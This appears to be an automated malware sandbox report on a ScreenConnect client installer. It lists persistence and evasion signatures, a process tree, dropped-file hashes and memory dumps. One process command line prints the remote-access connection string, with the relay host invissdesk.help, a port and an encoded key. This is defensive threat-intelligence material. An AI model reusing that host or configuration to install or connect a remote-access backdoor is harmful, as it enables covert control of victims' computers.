Analysis

  • geolocation tags

    nanew-jerseynorth-americaunited-statesususa
  • user interaction
    yes
  • max time kernel
    298s
  • max time network
    290s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/09/2026, 09:50

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.9MB
  • Sample260916-lt3lqaad79
  • SHA256 dbc5b89e6733e6dbc8eb8071d2c020624b7ac543750364cca977fb120f6e8500
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2892
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:884
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 16E4306174A76793667EDE4067609070 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1292
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI2522.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240723562 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5236
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5468
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 002E2CEC8906C646A5A9FD503D2F97E9
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4364
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 594CBCB3C52BB4B6859D537A02B4D869 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4252
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4400
    • C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=invissdesk.help&p=8041&s=cf5dcef7-56c4-4f49-ac2c-d5c4f8ad8168&k=BgIAAACkAABSU0ExAAgAAAEAAQB583HhxVna52HkHbkkR5vq9Ibod09Z67ogwIFh9L7q4VoDSLPT8jIA0Oo%2bY4OzAdohzMZhRxUW3QhuSaPJbRjeMqgupEdoUu7SOxn7Kly04HPIxkb4R0dLkau6emk%2bNrbOAO%2fjEVLW%2bLQLk2jLNXCfqqy9aQzD0PnCTMFbZcYZGSRt4fWbupbUaKcMzHljudrF1FfxeATPGeG%2f2YCTZF5NffJISnp%2fV9LaDjiM4NZdQc%2b0PyphLEBRVgqL8P6Mg%2bneCNvnONphZWaCoIzOaVn8lK6PbwXyQw%2fCGlmeuqhfap%2bl4arDrOGjVCUsoWjpUDuj5oNNdt%2bg%2bOC5SdL8u7rC"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5772
      • C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\ScreenConnect.WindowsClient.exe" "RunRole" "2704162b-d1dd-49a9-b09d-b16765b18c36" "User"
        2⤵
        • Executes dropped EXE
        PID:5640
      • C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\ScreenConnect.WindowsClient.exe" "RunRole" "767fbf62-57c8-43ba-9e23-925ddd3a23b3" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4200

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59698f.rbs

          • Path C:\Config.Msi\e59698f.rbs
          • Size 214KB
          • SHA256 cea92d59ef2219d5466166674e5b7a924362477cb1b96b3923ff3760e4ca1c84
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\Client.Override.en-US.resources
          • Size 245B
          • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\Client.Override.resources
          • Size 26KB
          • SHA256 84d34d883d50dd87a96d6a82c10f67f170fa12d5e7b74fc36a0e4d0a8aa1d681
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\app.config
          • Size 1KB
          • SHA256 76dabb1e1fd7dcc72c42fad90dbd4c66ae5ebfae4f245f3480a450d7e3c2c11b
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e219abd033511a5a)\system.config
          • Size 945B
          • SHA256 13e97cd2e3c9e88ad26e4922ab70a58fb9b3924c1d43f76265298455c6b79565
          • MD5 SHA1 SHA512 TLSH

          MSI2522.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2522.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2522.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2522.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2522.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI2522.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI6F6B.tmp

          • Path C:\Windows\Installer\MSI6F6B.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e59698e.msi

          • Path C:\Windows\Installer\e59698e.msi
          • Size 12.9MB
          • SHA256 dbc5b89e6733e6dbc8eb8071d2c020624b7ac543750364cca977fb120f6e8500
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 388753d62b557e512f54561e38ca563f57ca35e7bc0328da6f4f495673597f43
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {1230749e-9b1d-4d84-b1fd-29320a102fe7}_OnDiskSnapshotProp

          • Path \??\Volume{f0fdc120-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{1230749e-9b1d-4d84-b1fd-29320a102fe7}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 a09ac0ae6a779daccd5045fb924162241d264a3c4ea3ac957719380b1afcce22
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/4200-126-0x000000001C5B0000-0x000000001C77A000-memory.dmp

          memory/5236-31-0x0000000006260000-0x000000000681A000-memory.dmp

          memory/5236-18-0x00000000037B0000-0x00000000037DE000-memory.dmp

          memory/5236-22-0x00000000037F0000-0x00000000037FA000-memory.dmp

          memory/5236-26-0x00000000058B0000-0x000000000593C000-memory.dmp

          memory/5236-30-0x0000000005AF0000-0x0000000005C9C000-memory.dmp

          memory/5640-119-0x0000000002700000-0x0000000002736000-memory.dmp

          memory/5640-123-0x0000000000DF0000-0x0000000000E08000-memory.dmp

          memory/5640-127-0x000000001C870000-0x000000001CA3A000-memory.dmp

          memory/5640-124-0x0000000002740000-0x0000000002758000-memory.dmp

          memory/5640-122-0x000000001B9E0000-0x000000001BB68000-memory.dmp

          memory/5640-116-0x00000000003E0000-0x0000000000478000-memory.dmp

          memory/5640-121-0x000000001B6A0000-0x000000001B84C000-memory.dmp

          memory/5640-120-0x000000001B460000-0x000000001B4EC000-memory.dmp

          memory/5772-99-0x0000000003EE0000-0x0000000003F30000-memory.dmp

          memory/5772-104-0x00000000041D0000-0x0000000004262000-memory.dmp

          memory/5772-108-0x00000000043C0000-0x0000000004495000-memory.dmp

          memory/5772-106-0x0000000004130000-0x0000000004171000-memory.dmp

          memory/5772-103-0x0000000003F30000-0x0000000003F66000-memory.dmp

          memory/5772-76-0x00000000017A0000-0x00000000017B8000-memory.dmp